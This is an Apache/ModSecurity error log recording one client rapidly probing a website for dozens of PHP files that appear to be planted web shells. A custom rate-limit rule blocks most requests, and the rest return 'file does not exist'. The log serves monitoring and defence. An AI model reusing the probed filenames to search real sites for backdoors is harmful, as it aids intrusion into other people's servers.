[Fri Apr 24 21:15:37.465251 2026] [:error] [pid 17720:tid 17773] [client 4.235.74.173:53622] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aets-ehlUs6BS3Ng7_WwYAAAANM"]
[Fri Apr 24 21:15:41.492193 2026] [:error] [pid 17808:tid 17823] [client 4.235.74.173:30628] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aets_earbOEFI8qshvJBDAAAAE0"]
[Fri Apr 24 21:15:44.660788 2026] [:error] [pid 4177:tid 4195] [client 4.235.74.173:34425] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aettAH2asKnvdrSe0x4f7gAAAYo"]
[Fri Apr 24 21:15:47.127865 2026] [:error] [pid 17720:tid 17774] [client 4.235.74.173:24854] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aettA-hlUs6BS3Ng7_WwZQAAANQ"]
[Fri Apr 24 21:15:50.047318 2026] [:error] [pid 17720:tid 17760] [client 4.235.74.173:63443] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aettBuhlUs6BS3Ng7_WwcgAAAMY"]
[Fri Apr 24 21:15:53.817640 2026] [:error] [pid 17719:tid 17746] [client 4.235.74.173:51842] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aettCcTZ9gzEyL1BkPqw1QAAAJM"]
[Fri Apr 24 21:15:55.197736 2026] [:error] [pid 14531:tid 14533] [client 4.235.74.173:17017] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aettC3fLU2gw-6KR-GbPxQAAAUA"]
[Fri Apr 24 21:15:56.912192 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:16537] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aettDH2asKnvdrSe0x4gBAAAAYQ"]
[Fri Apr 24 21:15:59.909764 2026] [:error] [pid 4177:tid 4208] [client 4.235.74.173:53610] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aettD32asKnvdrSe0x4gDgAAAZc"]
[Fri Apr 24 21:16:00.861715 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:33806] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aettEH2asKnvdrSe0x4gEwAAAYE"]
[Fri Apr 24 21:16:02.658803 2026] [:error] [pid 14531:tid 14535] [client 4.235.74.173:62708] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aettEnfLU2gw-6KR-GbP2wAAAUI"]
[Fri Apr 24 21:16:05.877616 2026] [:error] [pid 4177:tid 4187] [client 4.235.74.173:24857] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aettFX2asKnvdrSe0x4gIQAAAYI"]
[Fri Apr 24 21:16:06.955489 2026] [:error] [pid 14531:tid 14536] [client 4.235.74.173:63834] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aettFnfLU2gw-6KR-GbP7AAAAUM"]
[Fri Apr 24 21:16:07.934359 2026] [:error] [pid 14531:tid 14556] [client 4.235.74.173:64110] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aettF3fLU2gw-6KR-GbP8AAAAVc"]
[Fri Apr 24 21:16:10.270807 2026] [:error] [pid 4177:tid 4205] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/n3yUmQ6Q9xwQ8ocdefault.php
[Fri Apr 24 21:16:10.535300 2026] [:error] [pid 4177:tid 4204] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri Apr 24 21:16:10.797966 2026] [:error] [pid 4177:tid 4196] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/ctex1.php
[Fri Apr 24 21:16:11.073868 2026] [:error] [pid 4177:tid 4199] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/lb.php
[Fri Apr 24 21:16:11.336882 2026] [:error] [pid 4177:tid 4200] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Fri Apr 24 21:16:11.602027 2026] [:error] [pid 4177:tid 4206] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
[Fri Apr 24 21:16:11.864361 2026] [:error] [pid 4177:tid 4192] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Fri Apr 24 21:16:12.127867 2026] [:error] [pid 4177:tid 4188] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/auth.php
[Fri Apr 24 21:16:12.391336 2026] [:error] [pid 4177:tid 4201] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Fri Apr 24 21:16:12.660511 2026] [:error] [pid 4177:tid 4203] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Apr 24 21:16:12.923303 2026] [:error] [pid 4177:tid 4207] [client 4.235.74.173:64219] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-png.php
[Fri Apr 24 21:16:13.182635 2026] [:error] [pid 4177:tid 4193] [client 4.235.74.173:64219] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aettHX2asKnvdrSe0x4gWQAAAYg"]
[Fri Apr 24 21:16:14.623832 2026] [:error] [pid 17808:tid 17830] [client 4.235.74.173:62695] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aettHuarbOEFI8qshvJBQQAAAFQ"]
[Fri Apr 24 21:16:16.044234 2026] [:error] [pid 22114:tid 22140] [client 4.235.74.173:42322] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aettIIAuWGz3WlMQjofw2AAAARc"]
[Fri Apr 24 21:16:19.039826 2026] [:error] [pid 4177:tid 4205] [client 4.235.74.173:34822] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aettI32asKnvdrSe0x4gZwAAAZQ"]
[Fri Apr 24 21:16:22.258102 2026] [:error] [pid 4177:tid 4193] [client 4.235.74.173:21402] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aettJn2asKnvdrSe0x4gdgAAAYg"]
[Fri Apr 24 21:16:25.298436 2026] [:error] [pid 4177:tid 4207] [client 4.235.74.173:56245] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aettKX2asKnvdrSe0x4ghgAAAZY"]
[Fri Apr 24 21:16:28.141446 2026] [:error] [pid 14531:tid 14544] [client 4.235.74.173:50292] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aettLHfLU2gw-6KR-GbQAwAAAUs"]
[Fri Apr 24 21:16:30.198181 2026] [:error] [pid 17720:tid 17761] [client 4.235.74.173:62665] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aettLuhlUs6BS3Ng7_WwqAAAAMc"]
[Fri Apr 24 21:16:33.970722 2026] [:error] [pid 17719:tid 17737] [client 4.235.74.173:50261] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aettMcTZ9gzEyL1BkPqw9AAAAIo"]
[Fri Apr 24 21:16:38.520186 2026] [:error] [pid 4177:tid 4207] [client 4.235.74.173:51863] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aettNn2asKnvdrSe0x4gowAAAZY"]
[Fri Apr 24 21:16:40.672499 2026] [:error] [pid 17720:tid 17757] [client 4.235.74.173:50926] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aettOOhlUs6BS3Ng7_Ww0gAAAMM"]
[Fri Apr 24 21:16:42.044281 2026] [:error] [pid 17720:tid 17760] [client 4.235.74.173:16969] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aettOuhlUs6BS3Ng7_Ww2QAAAMY"]
[Fri Apr 24 21:16:44.736143 2026] [:error] [pid 4177:tid 4206] [client 4.235.74.173:15293] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aettPH2asKnvdrSe0x4g1AAAAZU"]
[Fri Apr 24 21:16:45.929124 2026] [:error] [pid 17721:tid 17791] [client 4.235.74.173:22477] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aettPeFXXkLeyDnfk_9CigAAAAo"]
[Fri Apr 24 21:16:47.563866 2026] [:error] [pid 22114:tid 22121] [client 4.235.74.173:44575] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aettP4AuWGz3WlMQjofw8QAAAQQ"]
[Fri Apr 24 21:16:48.604703 2026] [:error] [pid 17719:tid 17750] [client 4.235.74.173:50903] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aettQMTZ9gzEyL1BkPqxCgAAAJc"]
[Fri Apr 24 21:16:50.588739 2026] [:error] [pid 4177:tid 4188] [client 4.235.74.173:21387] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aettQn2asKnvdrSe0x4g3wAAAYM"]
[Fri Apr 24 21:16:52.521545 2026] [:error] [pid 14531:tid 14553] [client 4.235.74.173:15084] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aettRHfLU2gw-6KR-GbQKgAAAVQ"]
[Fri Apr 24 21:16:54.738945 2026] [:error] [pid 4177:tid 4190] [client 4.235.74.173:17010] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aettRn2asKnvdrSe0x4g8gAAAYU"]
[Fri Apr 24 21:16:55.589695 2026] [:error] [pid 4177:tid 4198] [client 4.235.74.173:17021] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aettR32asKnvdrSe0x4g9gAAAY0"]
[Fri Apr 24 21:16:57.940904 2026] [:error] [pid 4177:tid 4188] [client 4.235.74.173:44568] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aettSX2asKnvdrSe0x4g_AAAAYM"]
[Fri Apr 24 21:16:59.481677 2026] [:error] [pid 17720:tid 17754] [client 4.235.74.173:62976] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aettS-hlUs6BS3Ng7_WxDgAAAMA"]
[Fri Apr 24 21:17:05.255887 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:36889] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aettUX2asKnvdrSe0x4hPwAAAYQ"]
[Fri Apr 24 21:17:06.046965 2026] [:error] [pid 14531:tid 14554] [client 4.235.74.173:16999] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aettUnfLU2gw-6KR-GbQSgAAAVU"]
[Fri Apr 24 21:17:07.419996 2026] [:error] [pid 4177:tid 4188] [client 4.235.74.173:56208] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aettU32asKnvdrSe0x4hQwAAAYM"]
[Fri Apr 24 21:17:08.074578 2026] [:error] [pid 17808:tid 17816] [client 4.235.74.173:56199] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aettVOarbOEFI8qshvJBkgAAAEY"]
[Fri Apr 24 21:17:09.047122 2026] [:error] [pid 17808:tid 17829] [client 4.235.74.173:42308] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aettVearbOEFI8qshvJBlQAAAFM"]
[Fri Apr 24 21:17:10.086370 2026] [:error] [pid 14531:tid 14551] [client 4.235.74.173:4360] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aettVnfLU2gw-6KR-GbQVgAAAVI"]
[Fri Apr 24 21:17:10.807345 2026] [:error] [pid 4177:tid 4190] [client 4.235.74.173:50291] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amwxl.php"] [unique_id "aettVn2asKnvdrSe0x4hTQAAAYU"]
[Fri Apr 24 21:17:12.016956 2026] [:error] [pid 4177:tid 4192] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Fri Apr 24 21:17:12.281146 2026] [:error] [pid 4177:tid 4187] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Fri Apr 24 21:17:12.544852 2026] [:error] [pid 4177:tid 4197] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php
[Fri Apr 24 21:17:12.812121 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Fri Apr 24 21:17:13.084107 2026] [:error] [pid 4177:tid 4208] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Apr 24 21:17:13.348522 2026] [:error] [pid 4177:tid 4198] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Fri Apr 24 21:17:13.616817 2026] [:error] [pid 4177:tid 4194] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Fri Apr 24 21:17:13.897327 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri Apr 24 21:17:14.161360 2026] [:error] [pid 4177:tid 4187] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Fri Apr 24 21:17:14.427089 2026] [:error] [pid 4177:tid 4195] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Fri Apr 24 21:17:14.690993 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:44583] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Fri Apr 24 21:17:14.951757 2026] [:error] [pid 4177:tid 4191] [client 4.235.74.173:44583] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aettWn2asKnvdrSe0x4hagAAAYY"]
[Fri Apr 24 21:17:15.919581 2026] [:error] [pid 17720:tid 17778] [client 4.235.74.173:31172] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aettW-hlUs6BS3Ng7_WxJwAAANg"]
[Fri Apr 24 21:17:16.935136 2026] [:error] [pid 17808:tid 17822] [client 4.235.74.173:47283] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aettXOarbOEFI8qshvJBmgAAAEw"]
[Fri Apr 24 21:17:18.722289 2026] [:error] [pid 22114:tid 22131] [client 4.235.74.173:62978] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aettXoAuWGz3WlMQjofxUgAAAQ4"]
[Fri Apr 24 21:17:19.763957 2026] [:error] [pid 17720:tid 17757] [client 4.235.74.173:33254] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aettX-hlUs6BS3Ng7_WxNgAAAMM"]
